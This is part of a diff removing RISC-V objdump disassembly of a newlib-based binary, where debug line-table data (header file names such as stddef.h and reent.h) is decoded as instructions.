-    293e:	6f68                	flw	fa0,92(a4)
-    2940:	656d                	lui	a0,0x1b
-    2942:	7369722f          	0x7369722f
-    2946:	742f7663          	bgeu	t5,sp,3092 <__stack_size+0x2892>
-    294a:	736c6f6f          	jal	t5,c9080 <__stack_size+0xc8880>
-    294e:	7369722f          	0x7369722f
-    2952:	672d7663          	bgeu	s10,s2,2fbe <__stack_size+0x27be>
-    2956:	756e                	flw	fa0,248(sp)
-    2958:	742d                	lui	s0,0xfffeb
-    295a:	636c6f6f          	jal	t5,c8f90 <__stack_size+0xc8790>
-    295e:	6168                	flw	fa0,68(a0)
-    2960:	6e69                	lui	t3,0x1a
-    2962:	682d                	lui	a6,0xb
-    2964:	7865                	lui	a6,0xffff9
-    2966:	6966                	flw	fs2,88(sp)
-    2968:	6576                	flw	fa0,92(sp)
-    296a:	7369722f          	0x7369722f
-    296e:	34367663          	bgeu	a2,gp,2cba <__stack_size+0x24ba>
-    2972:	752d                	lui	a0,0xfffeb
-    2974:	6b6e                	flw	fs6,216(sp)
-    2976:	6f6e                	flw	ft10,216(sp)
-    2978:	652d6e77          	0x652d6e77
-    297c:	666c                	flw	fa1,76(a2)
-    297e:	636e692f          	0x636e692f
-    2982:	756c                	flw	fa1,108(a0)
-    2984:	6564                	flw	fs1,76(a0)
-    2986:	2e00                	fld	fs0,24(a2)
-    2988:	2f2e                	fld	ft10,200(sp)
-    298a:	7362                	flw	ft6,56(sp)
-    298c:	2f70                	fld	fa2,216(a4)
-    298e:	3358                	fld	fa4,160(a4)
-    2990:	3030                	fld	fa2,96(s0)
-    2992:	0000                	unimp
-    2994:	656e                	flw	fa0,216(sp)
-    2996:	62696c77          	0x62696c77
-    299a:	632e                	flw	ft6,200(sp)
-    299c:	0100                	addi	s0,sp,128
-    299e:	0000                	unimp
-    29a0:	64647473          	csrrci	s0,0x646,8
-    29a4:	6665                	lui	a2,0x19
-    29a6:	682e                	flw	fa6,200(sp)
-    29a8:	0200                	addi	s0,sp,256
-    29aa:	0000                	unimp
-    29ac:	645f 6665 7561      	0x75616665645f
-    29b2:	746c                	flw	fa1,108(s0)
-    29b4:	745f 7079 7365      	0x73657079745f
-    29ba:	682e                	flw	fa6,200(sp)
-    29bc:	0300                	addi	s0,sp,384
-    29be:	0000                	unimp
-    29c0:	745f 7079 7365      	0x73657079745f
-    29c6:	682e                	flw	fa6,200(sp)
-    29c8:	0400                	addi	s0,sp,512
-    29ca:	0000                	unimp
-    29cc:	735f 6474 6e69      	0x6e696474735f
-    29d2:	2e74                	fld	fa3,216(a2)
-    29d4:	0068                	addi	a0,sp,12
-    29d6:	0004                	0x4
-    29d8:	5f00                	lw	s0,56(a4)
-    29da:	6974                	flw	fa3,84(a0)
-    29dc:	656d                	lui	a0,0x1b
-    29de:	6176                	flw	ft2,92(sp)
-    29e0:	2e6c                	fld	fa1,216(a2)
-    29e2:	0068                	addi	a0,sp,12
-    29e4:	0004                	0x4
-    29e6:	5f00                	lw	s0,56(a4)
-    29e8:	6974                	flw	fa3,84(a0)
-    29ea:	656d                	lui	a0,0x1b
-    29ec:	63657073          	csrci	0x636,10
-    29f0:	682e                	flw	fa6,200(sp)
-    29f2:	0400                	addi	s0,sp,512
-    29f4:	0000                	unimp
-    29f6:	7974                	flw	fa3,116(a0)
-    29f8:	6570                	flw	fa2,76(a0)
-    29fa:	00682e73          	csrrs	t3,0x6,a6
-    29fe:	0004                	0x4
-    2a00:	7300                	flw	fs0,32(a4)
-    2a02:	6174                	flw	fa3,68(a0)
-    2a04:	2e74                	fld	fa3,216(a2)
-    2a06:	0068                	addi	a0,sp,12
-    2a08:	0004                	0x4
-    2a0a:	7500                	flw	fs0,40(a0)
-    2a0c:	696e                	flw	fs2,216(sp)
-    2a0e:	2e647473          	csrrci	s0,0x2e6,8
-    2a12:	0068                	addi	a0,sp,12
-    2a14:	0004                	0x4
-    2a16:	7300                	flw	fs0,32(a4)
-    2a18:	7274                	flw	fa3,100(a2)
-    2a1a:	6e69                	lui	t3,0x1a
-    2a1c:	00682e67          	0x682e67
-    2a20:	0005                	c.nop	1
-    2a22:	7300                	flw	fs0,32(a4)
-    2a24:	6474                	flw	fa3,76(s0)
-    2a26:	696c                	flw	fa1,84(a0)
-    2a28:	2e62                	fld	ft8,24(sp)
-    2a2a:	0068                	addi	a0,sp,12
-    2a2c:	0005                	c.nop	1
-    2a2e:	6900                	flw	fs0,16(a0)
-    2a30:	6565                	lui	a0,0x19
-    2a32:	6665                	lui	a2,0x19
-    2a34:	2e70                	fld	fa2,216(a2)
-    2a36:	0068                	addi	a0,sp,12
-    2a38:	5f000003          	lb	zero,1520(zero) # 5f0 <__stack_size-0x210>
-    2a3c:	6e61                	lui	t3,0x18
-    2a3e:	682e6973          	csrrsi	s2,0x682,28
-    2a42:	0500                	addi	s0,sp,640
-    2a44:	0000                	unimp
-    2a46:	656e                	flw	fa0,216(sp)
-    2a48:	62696c77          	0x62696c77
-    2a4c:	682e                	flw	fa6,200(sp)
-    2a4e:	0500                	addi	s0,sp,640
-    2a50:	0000                	unimp
-    2a52:	6e5f 7765 696c      	0x696c77656e5f
-    2a58:	5f62                	lw	t5,56(sp)
-    2a5a:	6576                	flw	fa0,92(sp)
-    2a5c:	7372                	flw	ft6,60(sp)
-    2a5e:	6f69                	lui	t5,0x1a
-    2a60:	2e6e                	fld	ft8,216(sp)
-    2a62:	0068                	addi	a0,sp,12
-    2a64:	0005                	c.nop	1
-    2a66:	6300                	flw	fs0,0(a4)
-    2a68:	69666e6f          	jal	t3,690fe <__stack_size+0x688fe>
-    2a6c:	00682e67          	0x682e67
-    2a70:	0004                	0x4
-    2a72:	6600                	flw	fs0,8(a2)
-    2a74:	6165                	addi	sp,sp,112
-    2a76:	7574                	flw	fa3,108(a0)
-    2a78:	6572                	flw	fa0,28(sp)
-    2a7a:	00682e73          	csrrs	t3,0x6,a6
-    2a7e:	0004                	0x4
-    2a80:	7200                	flw	fs0,32(a2)
-    2a82:	6565                	lui	a0,0x19
-    2a84:	746e                	flw	fs0,248(sp)
-    2a86:	682e                	flw	fa6,200(sp)
-    2a88:	0400                	addi	s0,sp,512
-    2a8a:	0000                	unimp
-    2a8c:	745f 7079 7365      	0x73657079745f
-    2a92:	682e                	flw	fa6,200(sp)
-    2a94:	0300                	addi	s0,sp,384
-    2a96:	0000                	unimp
-    2a98:	6f6c                	flw	fa1,92(a4)
-    2a9a:	682e6b63          	bltu	t3,sp,3130 <__stack_size+0x2930>
-    2a9e:	0400                	addi	s0,sp,512
-    2aa0:	0000                	unimp
-    2aa2:	66656463          	bltu	a0,t1,310a <__stack_size+0x290a>
-    2aa6:	00682e73          	csrrs	t3,0x6,a6
-    2aaa:	0004                	0x4
-    2aac:	7300                	flw	fs0,32(a4)
-    2aae:	6474                	flw	fa3,76(s0)
-    2ab0:	696c                	flw	fa1,84(a0)
-    2ab2:	2e62                	fld	ft8,24(sp)
-    2ab4:	0068                	addi	a0,sp,12
-    2ab6:	61000003          	lb	zero,1552(zero) # 610 <__stack_size-0x1f0>
-    2aba:	6c6c                	flw	fa1,92(s0)
-    2abc:	2e61636f          	jal	t1,18da2 <__stack_size+0x185a2>
-    2ac0:	0068                	addi	a0,sp,12
-    2ac2:	0005                	c.nop	1
-    2ac4:	7500                	flw	fs0,40(a0)
-    2ac6:	696e                	flw	fs2,216(sp)
-    2ac8:	2e647473          	csrrci	s0,0x2e6,8
-    2acc:	0068                	addi	a0,sp,12
-    2ace:	0005                	c.nop	1
-    2ad0:	6500                	flw	fs0,8(a0)
-    2ad2:	646e                	flw	fs0,216(sp)
-    2ad4:	6169                	addi	sp,sp,208
-    2ad6:	2e6e                	fld	ft8,216(sp)
-    2ad8:	0068                	addi	a0,sp,12
-    2ada:	5f000003          	lb	zero,1520(zero) # 5f0 <__stack_size-0x210>
-    2ade:	6e65                	lui	t3,0x19
-    2ae0:	6964                	flw	fs1,84(a0)
-    2ae2:	6e61                	lui	t3,0x18
-    2ae4:	682e                	flw	fa6,200(sp)
-    2ae6:	0300                	addi	s0,sp,384
-    2ae8:	0000                	unimp
-    2aea:	656c6573          	csrrsi	a0,0x656,24
-    2aee:	682e7463          	bgeu	t3,sp,3176 <__stack_size+0x2976>
-    2af2:	0400                	addi	s0,sp,512
-    2af4:	0000                	unimp
-    2af6:	735f 6769 6573      	0x65736769735f
-    2afc:	2e74                	fld	fa3,216(a2)
-    2afe:	0068                	addi	a0,sp,12
-    2b00:	0004                	0x4
-    2b02:	7400                	flw	fs0,40(s0)
-    2b04:	6d69                	lui	s10,0x1a
-    2b06:	7365                	lui	t1,0xffff9
-    2b08:	6570                	flw	fa2,76(a0)
-    2b0a:	00682e63          	0x682e63
-    2b0e:	0004                	0x4
-    2b10:	5f00                	lw	s0,56(a4)
-    2b12:	7470                	flw	fa2,108(s0)
-    2b14:	7268                	flw	fa0,100(a2)
-    2b16:	6165                	addi	sp,sp,112
-    2b18:	7464                	flw	fs1,108(s0)
-    2b1a:	7079                	c.lui	zero,0xffffe
-    2b1c:	7365                	lui	t1,0xffff9
-    2b1e:	682e                	flw	fa6,200(sp)
-    2b20:	0400                	addi	s0,sp,512
-    2b22:	0000                	unimp
-    2b24:	65686373          	csrrsi	t1,0x656,16
-    2b28:	2e64                	fld	fs1,216(a2)
-    2b2a:	0068                	addi	a0,sp,12
-    2b2c:	0004                	0x4
-    2b2e:	7400                	flw	fs0,40(s0)
-    2b30:	7079                	c.lui	zero,0xffffe
-    2b32:	7365                	lui	t1,0xffff9
-    2b34:	682e                	flw	fa6,200(sp)
-    2b36:	0300                	addi	s0,sp,384
-    2b38:	0000                	unimp
-    2b3a:	6c5f 636f 6c61      	0x6c61636f6c5f
-    2b40:	2e65                	jal	2ef8 <__stack_size+0x26f8>
-    2b42:	0068                	addi	a0,sp,12
-    2b44:	0004                	0x4
-    2b46:	7300                	flw	fs0,32(a4)
-    2b48:	7274                	flw	fa3,100(a2)
-    2b4a:	6e69                	lui	t3,0x1a
-    2b4c:	682e7367          	0x682e7367
-    2b50:	0500                	addi	s0,sp,640
-    2b52:	0000                	unimp
-    2b54:	69727473          	csrrci	s0,0x697,4
-    2b58:	676e                	flw	fa4,216(sp)
-    2b5a:	682e                	flw	fa6,200(sp)
-    2b5c:	0400                	addi	s0,sp,512
-    2b5e:	0000                	unimp
-    2b60:	6974                	flw	fa3,84(a0)
-    2b62:	656d                	lui	a0,0x1b
-    2b64:	682e                	flw	fa6,200(sp)
-    2b66:	0500                	addi	s0,sp,640
-    2b68:	0000                	unimp
-    2b6a:	6974                	flw	fa3,84(a0)
-    2b6c:	656d                	lui	a0,0x1b
-    2b6e:	682e                	flw	fa6,200(sp)
-    2b70:	0300                	addi	s0,sp,384
-    2b72:	0000                	unimp
-    2b74:	6c70                	flw	fa2,92(s0)
-    2b76:	7461                	lui	s0,0xffff8
-    2b78:	6f66                	flw	ft10,88(sp)
-    2b7a:	6d72                	flw	fs10,28(sp)
-    2b7c:	682e                	flw	fa6,200(sp)
-    2b7e:	0600                	addi	s0,sp,768
-    2b80:	0000                	unimp
-    2b82:	0500                	addi	s0,sp,640
-    2b84:	0016                	c.slli	zero,0x5
-    2b86:	0205                	addi	tp,tp,1
-    2b88:	2b1c                	fld	fa5,16(a4)
-    2b8a:	2040                	fld	fs0,128(s0)
-    2b8c:	05010a03          	lb	s4,80(sp)
-    2b90:	0302                	c.slli64	t1
-    2b92:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
-    2b96:	0501                	addi	a0,a0,0
-    2b98:	0601                	addi	a2,a2,0
-    2b9a:	00090103          	lb	sp,0(s2) # 18000 <__stack_size+0x17800>
-    2b9e:	0100                	addi	s0,sp,128
-    2ba0:	0409                	addi	s0,s0,2
-    2ba2:	0000                	unimp
-    2ba4:	0101                	addi	sp,sp,0
-    2ba6:	2705                	jal	32c6 <__stack_size+0x2ac6>
-    2ba8:	0500                	addi	s0,sp,640
-    2baa:	2002                	fld	ft0,0(sp)
-    2bac:	0320402b          	0x320402b
-    2bb0:	0111                	addi	sp,sp,4
-    2bb2:	0205                	addi	tp,tp,1
-    2bb4:	00090303          	lb	t1,0(s2)
-    2bb8:	0100                	addi	s0,sp,128
-    2bba:	0e05                	addi	t3,t3,1
-    2bbc:	0306                	slli	t1,t1,0x1
-    2bbe:	0900                	addi	s0,sp,144
-    2bc0:	0000                	unimp
-    2bc2:	0501                	addi	a0,a0,0
-    2bc4:	0602                	c.slli64	a2
-    2bc6:	04090103          	lb	sp,64(s2)
-    2bca:	0100                	addi	s0,sp,128
-    2bcc:	0105                	addi	sp,sp,1
-    2bce:	0306                	slli	t1,t1,0x1
-    2bd0:	0901                	addi	s2,s2,0
-    2bd2:	0000                	unimp
-    2bd4:	0901                	addi	s2,s2,0
-    2bd6:	0004                	0x4
-    2bd8:	0100                	addi	s0,sp,128
-    2bda:	0501                	addi	a0,a0,0
-    2bdc:	0018                	0x18
-    2bde:	0205                	addi	tp,tp,1
-    2be0:	2b28                	fld	fa0,80(a4)
-    2be2:	2040                	fld	fs0,128(s0)
-    2be4:	05011903          	lh	s2,80(sp)
-    2be8:	0302                	c.slli64	t1
-    2bea:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
-    2bee:	0301                	addi	t1,t1,0
-    2bf0:	0901                	addi	s2,s2,0
-    2bf2:	0000                	unimp
-    2bf4:	0301                	addi	t1,t1,0
-    2bf6:	0901                	addi	s2,s2,0
-    2bf8:	0000                	unimp
-    2bfa:	0301                	addi	t1,t1,0
-    2bfc:	0902                	c.slli64	s2
-    2bfe:	0000                	unimp
-    2c00:	0501                	addi	a0,a0,0
-    2c02:	0611                	addi	a2,a2,4
-    2c04:	00090003          	lb	zero,0(s2)
-    2c08:	0100                	addi	s0,sp,128
-    2c0a:	1805                	addi	a6,a6,-31
-    2c0c:	04097903          	0x4097903
-    2c10:	0100                	addi	s0,sp,128
-    2c12:	1105                	addi	sp,sp,-31
-    2c14:	02090703          	lb	a4,32(s2)
-    2c18:	0100                	addi	s0,sp,128
-    2c1a:	0505                	addi	a0,a0,1
-    2c1c:	02090003          	lb	zero,32(s2)
-    2c20:	0100                	addi	s0,sp,128
-    2c22:	1105                	addi	sp,sp,-31
-    2c24:	04090003          	lb	zero,64(s2)
-    2c28:	0100                	addi	s0,sp,128
-    2c2a:	0505                	addi	a0,a0,1
-    2c2c:	02090003          	lb	zero,32(s2)
-    2c30:	0100                	addi	s0,sp,128
-    2c32:	2005                	jal	2c52 <__stack_size+0x2452>
-    2c34:	0200                	addi	s0,sp,256
-    2c36:	0104                	addi	s1,sp,128
-    2c38:	04090003          	lb	zero,64(s2)
-    2c3c:	0100                	addi	s0,sp,128
-    2c3e:	0205                	addi	tp,tp,1
-    2c40:	0306                	slli	t1,t1,0x1
-    2c42:	00080903          	lb	s2,0(a6) # ffff9000 <_heap_end+0x7ffea800>
-    2c46:	0501                	addi	a0,a0,0
-    2c48:	060c                	addi	a1,sp,768
-    2c4a:	00090003          	lb	zero,0(s2)
-    2c4e:	0100                	addi	s0,sp,128
-    2c50:	0205                	addi	tp,tp,1
-    2c52:	0306                	slli	t1,t1,0x1
-    2c54:	0901                	addi	s2,s2,0
-    2c56:	0002                	c.slli64	zero
-    2c58:	0501                	addi	a0,a0,0
-    2c5a:	00030613          	mv	a2,t1
-    2c5e:	0009                	c.nop	2
-    2c60:	0100                	addi	s0,sp,128
-    2c62:	0b05                	addi	s6,s6,1
-    2c64:	02097d03          	0x2097d03
-    2c68:	0100                	addi	s0,sp,128
-    2c6a:	0105                	addi	sp,sp,1
-    2c6c:	02090403          	lb	s0,32(s2)
-    2c70:	0100                	addi	s0,sp,128
-    2c72:	0209                	addi	tp,tp,2
-    2c74:	0000                	unimp
-    2c76:	0101                	addi	sp,sp,0
-    2c78:	1705                	addi	a4,a4,-31
-    2c7a:	0500                	addi	s0,sp,640
-    2c7c:	4a02                	lw	s4,0(sp)
-    2c7e:	0320402b          	0x320402b
-    2c82:	0128                	addi	a0,sp,136
-    2c84:	0205                	addi	tp,tp,1
-    2c86:	00090303          	lb	t1,0(s2)
-    2c8a:	0100                	addi	s0,sp,128
-    2c8c:	0105                	addi	sp,sp,1
-    2c8e:	0306                	slli	t1,t1,0x1
-    2c90:	0902                	c.slli64	s2
-    2c92:	0000                	unimp
-    2c94:	0901                	addi	s2,s2,0
-    2c96:	0006                	c.slli	zero,0x1
-    2c98:	0100                	addi	s0,sp,128
-    2c9a:	0501                	addi	a0,a0,0
-    2c9c:	002a                	c.slli	zero,0xa
-    2c9e:	0205                	addi	tp,tp,1
-    2ca0:	2b50                	fld	fa2,144(a4)
-    2ca2:	2040                	fld	fs0,128(s0)
-    2ca4:	05013003          	0x5013003
-    2ca8:	0302                	c.slli64	t1
-    2caa:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
-    2cae:	0501                	addi	a0,a0,0
-    2cb0:	0601                	addi	a2,a2,0
-    2cb2:	00090103          	lb	sp,0(s2)
-    2cb6:	0100                	addi	s0,sp,128
-    2cb8:	0409                	addi	s0,s0,2
-    2cba:	0000                	unimp
-    2cbc:	0101                	addi	sp,sp,0
-    2cbe:	3205                	jal	25de <__stack_size+0x1dde>
-    2cc0:	0500                	addi	s0,sp,640
-    2cc2:	5402                	lw	s0,32(sp)
-    2cc4:	0320402b          	0x320402b
-    2cc8:	02050137          	lui	sp,0x2050
-    2ccc:	00090403          	lb	s0,0(s2)
-    2cd0:	0100                	addi	s0,sp,128
-    2cd2:	3205                	jal	25f2 <__stack_size+0x1df2>
-    2cd4:	0306                	slli	t1,t1,0x1
-    2cd6:	097c                	addi	a5,sp,156
-    2cd8:	0000                	unimp
-    2cda:	0501                	addi	a0,a0,0
-    2cdc:	0306                	slli	t1,t1,0x1
-    2cde:	0904                	addi	s1,sp,144
-    2ce0:	0002                	c.slli64	zero
-    2ce2:	0501                	addi	a0,a0,0
-    2ce4:	0332                	slli	t1,t1,0xc
-    2ce6:	097c                	addi	a5,sp,156
-    2ce8:	0008                	0x8
-    2cea:	0501                	addi	a0,a0,0
-    2cec:	0306                	slli	t1,t1,0x1
-    2cee:	0904                	addi	s1,sp,144
-    2cf0:	0002                	c.slli64	zero
-    2cf2:	0501                	addi	a0,a0,0
-    2cf4:	0305                	addi	t1,t1,1
-    2cf6:	0900                	addi	s0,sp,144
-    2cf8:	0004                	0x4
-    2cfa:	0501                	addi	a0,a0,0
-    2cfc:	02030603          	lb	a2,32(t1) # ffff9020 <_heap_end+0x7ffea820>
-    2d00:	0209                	addi	tp,tp,2
-    2d02:	0100                	addi	s0,sp,128
-    2d04:	1605                	addi	a2,a2,-31
-    2d06:	0306                	slli	t1,t1,0x1
-    2d08:	0900                	addi	s0,sp,144
-    2d0a:	0000                	unimp
-    2d0c:	0501                	addi	a0,a0,0
-    2d0e:	01030603          	lb	a2,16(t1)
-    2d12:	0a09                	addi	s4,s4,2
-    2d14:	0100                	addi	s0,sp,128
-    2d16:	1905                	addi	s2,s2,-31
-    2d18:	0306                	slli	t1,t1,0x1
-    2d1a:	0900                	addi	s0,sp,144
-    2d1c:	0000                	unimp
-    2d1e:	0501                	addi	a0,a0,0
-    2d20:	01030603          	lb	a2,16(t1)
-    2d24:	0409                	addi	s0,s0,2
-    2d26:	0100                	addi	s0,sp,128
-    2d28:	1905                	addi	s2,s2,-31
-    2d2a:	0306                	slli	t1,t1,0x1
-    2d2c:	0900                	addi	s0,sp,144
-    2d2e:	0000                	unimp
-    2d30:	0501                	addi	a0,a0,0
-    2d32:	0606                	slli	a2,a2,0x1
-    2d34:	02090103          	lb	sp,32(s2)
-    2d38:	0100                	addi	s0,sp,128
-    2d3a:	1c05                	addi	s8,s8,-31
-    2d3c:	0306                	slli	t1,t1,0x1
-    2d3e:	0900                	addi	s0,sp,144
-    2d40:	0000                	unimp
-    2d42:	0501                	addi	a0,a0,0
-    2d44:	02030603          	lb	a2,32(t1)
-    2d48:	0409                	addi	s0,s0,2
-    2d4a:	0100                	addi	s0,sp,128
-    2d4c:	0105                	addi	sp,sp,1
-    2d4e:	0306                	slli	t1,t1,0x1
-    2d50:	0905                	addi	s2,s2,1
-    2d52:	0000                	unimp
-    2d54:	0501                	addi	a0,a0,0
-    2d56:	0309                	addi	t1,t1,2
-    2d58:	097f                	0x97f
-    2d5a:	0006                	c.slli	zero,0x1
-    2d5c:	0901                	addi	s2,s2,0
-    2d5e:	0004                	0x4
-    2d60:	0100                	addi	s0,sp,128
-    2d62:	0501                	addi	a0,a0,0
-    2d64:	002c                	addi	a1,sp,8
-    2d66:	0205                	addi	tp,tp,1
-    2d68:	2b84                	fld	fs1,16(a5)
-    2d6a:	2040                	fld	fs0,128(s0)
-    2d6c:	0100ca03          	lbu	s4,16(ra)
-    2d70:	0205                	addi	tp,tp,1
-    2d72:	00090303          	lb	t1,0(s2)
-    2d76:	0100                	addi	s0,sp,128
-    2d78:	2c05                	jal	2fa8 <__stack_size+0x27a8>
-    2d7a:	0306                	slli	t1,t1,0x1
-    2d7c:	097d                	addi	s2,s2,31
-    2d7e:	0000                	unimp
-    2d80:	0301                	addi	t1,t1,0
-    2d82:	0900                	addi	s0,sp,144
-    2d84:	0008                	0x8
-    2d86:	0501                	addi	a0,a0,0
-    2d88:	0306                	slli	t1,t1,0x1
-    2d8a:	00040903          	lb	s2,0(s0) # ffff8000 <_heap_end+0x7ffe9800>
-    2d8e:	0501                	addi	a0,a0,0
-    2d90:	0305                	addi	t1,t1,1
-    2d92:	0900                	addi	s0,sp,144
-    2d94:	0004                	0x4
-    2d96:	0501                	addi	a0,a0,0
-    2d98:	0902030b          	0x902030b
-    2d9c:	0002                	c.slli64	zero
-    2d9e:	0501                	addi	a0,a0,0
-    2da0:	0322                	slli	t1,t1,0x8
-    2da2:	00020903          	lb	s2,0(tp) # 0 <__stack_size-0x800>
-    2da6:	0501                	addi	a0,a0,0
-    2da8:	0608                	addi	a0,sp,768
-    2daa:	04090003          	lb	zero,64(s2)
-    2dae:	0100                	addi	s0,sp,128
-    2db0:	2205                	jal	2ed0 <__stack_size+0x26d0>
-    2db2:	0200                	addi	s0,sp,256
-    2db4:	0104                	addi	s1,sp,128
-    2db6:	0306                	slli	t1,t1,0x1
-    2db8:	0900                	addi	s0,sp,144
-    2dba:	0004                	0x4
-    2dbc:	0501                	addi	a0,a0,0
-    2dbe:	0014                	0x14
-    2dc0:	0402                	c.slli64	s0
-    2dc2:	0301                	addi	t1,t1,0
-    2dc4:	0900                	addi	s0,sp,144
-    2dc6:	0002                	c.slli64	zero
-    2dc8:	0501                	addi	a0,a0,0
-    2dca:	0301                	addi	t1,t1,0
-    2dcc:	0909                	addi	s2,s2,2
-    2dce:	0004                	0x4
-    2dd0:	0501                	addi	a0,a0,0
-    2dd2:	0604                	addi	s1,sp,768
-    2dd4:	0a097803          	0xa097803
-    2dd8:	0100                	addi	s0,sp,128
-    2dda:	0b05                	addi	s6,s6,1
-    2ddc:	0306                	slli	t1,t1,0x1
-    2dde:	0900                	addi	s0,sp,144
-    2de0:	0000                	unimp
-    2de2:	0501                	addi	a0,a0,0
-    2de4:	030d                	addi	t1,t1,3
-    2de6:	0900                	addi	s0,sp,144
-    2de8:	0004                	0x4
-    2dea:	0501                	addi	a0,a0,0
-    2dec:	0604                	addi	s1,sp,768
-    2dee:	04090103          	lb	sp,64(s2)
-    2df2:	0100                	addi	s0,sp,128
-    2df4:	0905                	addi	s2,s2,1
-    2df6:	0306                	slli	t1,t1,0x1
-    2df8:	0900                	addi	s0,sp,144
-    2dfa:	0000                	unimp
-    2dfc:	0301                	addi	t1,t1,0
-    2dfe:	0906                	slli	s2,s2,0x1
-    2e00:	0004                	0x4
-    2e02:	0901                	addi	s2,s2,0
-    2e04:	0004                	0x4
-    2e06:	0100                	addi	s0,sp,128
-    2e08:	0501                	addi	a0,a0,0
-    2e0a:	0036                	c.slli	zero,0xd
-    2e0c:	0205                	addi	tp,tp,1
-    2e0e:	2bc0                	fld	fs0,144(a5)
-    2e10:	2040                	fld	fs0,128(s0)
-    2e12:	0100de03          	lhu	t3,16(ra)
-    2e16:	0205                	addi	tp,tp,1
-    2e18:	00090303          	lb	t1,0(s2)
-    2e1c:	0100                	addi	s0,sp,128
-    2e1e:	3605                	jal	293e <__stack_size+0x213e>
-    2e20:	0306                	slli	t1,t1,0x1
-    2e22:	097d                	addi	s2,s2,31
-    2e24:	0000                	unimp
-    2e26:	0301                	addi	t1,t1,0
-    2e28:	0900                	addi	s0,sp,144
-    2e2a:	0008                	0x8
-    2e2c:	0501                	addi	a0,a0,0
-    2e2e:	0306                	slli	t1,t1,0x1
-    2e30:	00040903          	lb	s2,0(s0)
-    2e34:	0501                	addi	a0,a0,0
-    2e36:	0305                	addi	t1,t1,1
-    2e38:	0900                	addi	s0,sp,144
-    2e3a:	0004                	0x4
-    2e3c:	0501                	addi	a0,a0,0
-    2e3e:	0906030b          	0x906030b
-    2e42:	0008                	0x8
-    2e44:	0501                	addi	a0,a0,0
-    2e46:	09040307          	0x9040307
-    2e4a:	0004                	0x4
-    2e4c:	0501                	addi	a0,a0,0
-    2e4e:	0902031b          	0x902031b
-    2e52:	0002                	c.slli64	zero
-    2e54:	0501                	addi	a0,a0,0
-    2e56:	0016                	c.slli	zero,0x5
-    2e58:	0402                	c.slli64	s0
-    2e5a:	0601                	addi	a2,a2,0
-    2e5c:	02097803          	0x2097803
-    2e60:	0100                	addi	s0,sp,128
-    2e62:	0305                	addi	t1,t1,1
-    2e64:	0200                	addi	s0,sp,256
-    2e66:	0104                	addi	s1,sp,128
-    2e68:	0306                	slli	t1,t1,0x1
-    2e6a:	0900                	addi	s0,sp,144
-    2e6c:	0000                	unimp
-    2e6e:	0501                	addi	a0,a0,0
-    2e70:	0301                	addi	t1,t1,0
-    2e72:	0911                	addi	s2,s2,4
-    2e74:	0004                	0x4
-    2e76:	0501                	addi	a0,a0,0
-    2e78:	0402002f          	0x402002f
-    2e7c:	0601                	addi	a2,a2,0
-    2e7e:	0c097103          	0xc097103
-    2e82:	0100                	addi	s0,sp,128
-    2e84:	0a05                	addi	s4,s4,1
-    2e86:	0200                	addi	s0,sp,256
-    2e88:	0104                	addi	s1,sp,128
-    2e8a:	00090003          	lb	zero,0(s2)
-    2e8e:	0100                	addi	s0,sp,128
-    2e90:	0b05                	addi	s6,s6,1
-    2e92:	0200                	addi	s0,sp,256
-    2e94:	0104                	addi	s1,sp,128
-    2e96:	0306                	slli	t1,t1,0x1
-    2e98:	0900                	addi	s0,sp,144
-    2e9a:	0000                	unimp
-    2e9c:	0501                	addi	a0,a0,0
-    2e9e:	000a                	c.slli	zero,0x2
-    2ea0:	0402                	c.slli64	s0
-    2ea2:	0301                	addi	t1,t1,0
-    2ea4:	0900                	addi	s0,sp,144
-    2ea6:	0002                	c.slli64	zero
-    2ea8:	0501                	addi	a0,a0,0
-    2eaa:	0604                	addi	s1,sp,768
-    2eac:	04090203          	lb	tp,64(s2)
-    2eb0:	0100                	addi	s0,sp,128
-    2eb2:	2005                	jal	2ed2 <__stack_size+0x26d2>
-    2eb4:	0306                	slli	t1,t1,0x1
-    2eb6:	0900                	addi	s0,sp,144
-    2eb8:	0000                	unimp
-    2eba:	0501                	addi	a0,a0,0
-    2ebc:	031a                	slli	t1,t1,0x6
-    2ebe:	0900                	addi	s0,sp,144
-    2ec0:	0004                	0x4
-    2ec2:	0501                	addi	a0,a0,0
-    2ec4:	0604                	addi	s1,sp,768
-    2ec6:	02090203          	lb	tp,32(s2)
-    2eca:	0100                	addi	s0,sp,128
-    2ecc:	0705                	addi	a4,a4,1
-    2ece:	0306                	slli	t1,t1,0x1
-    2ed0:	0900                	addi	s0,sp,144
-    2ed2:	0000                	unimp
-    2ed4:	0501                	addi	a0,a0,0
-    2ed6:	0030                	addi	a2,sp,8
-    2ed8:	0402                	c.slli64	s0
-    2eda:	0601                	addi	a2,a2,0
-    2edc:	08090103          	lb	sp,128(s2)
-    2ee0:	0100                	addi	s0,sp,128
-    2ee2:	0b05                	addi	s6,s6,1
-    2ee4:	0200                	addi	s0,sp,256
-    2ee6:	0104                	addi	s1,sp,128
-    2ee8:	00090003          	lb	zero,0(s2)
-    2eec:	0100                	addi	s0,sp,128
-    2eee:	0c05                	addi	s8,s8,1
-    2ef0:	0200                	addi	s0,sp,256
-    2ef2:	0104                	addi	s1,sp,128
-    2ef4:	0306                	slli	t1,t1,0x1
-    2ef6:	0900                	addi	s0,sp,144
-    2ef8:	0000                	unimp
-    2efa:	0501                	addi	a0,a0,0
-    2efc:	0402000b          	0x402000b
-    2f00:	0301                	addi	t1,t1,0
-    2f02:	0900                	addi	s0,sp,144
-    2f04:	0002                	c.slli64	zero
-    2f06:	0501                	addi	a0,a0,0
-    2f08:	0605                	addi	a2,a2,1
-    2f0a:	04090103          	lb	sp,64(s2)
-    2f0e:	0100                	addi	s0,sp,128
-    2f10:	1b05                	addi	s6,s6,-31
-    2f12:	0306                	slli	t1,t1,0x1
-    2f14:	0900                	addi	s0,sp,144
-    2f16:	0000                	unimp
-    2f18:	0501                	addi	a0,a0,0
-    2f1a:	001f 0402 0602      	0x6020402001f
-    2f20:	02097803          	0x2097803
-    2f24:	0100                	addi	s0,sp,128
-    2f26:	0905                	addi	s2,s2,1
-    2f28:	0306                	slli	t1,t1,0x1
-    2f2a:	0910                	addi	a2,sp,144
-    2f2c:	0004                	0x4
-    2f2e:	0901                	addi	s2,s2,0
-    2f30:	0004                	0x4
-    2f32:	0100                	addi	s0,sp,128
-    2f34:	2901                	jal	3344 <__stack_size+0x2b44>
-    2f36:	0001                	nop
-    2f38:	0300                	addi	s0,sp,384
-    2f3a:	4f00                	lw	s0,24(a4)
-    2f3c:	0000                	unimp
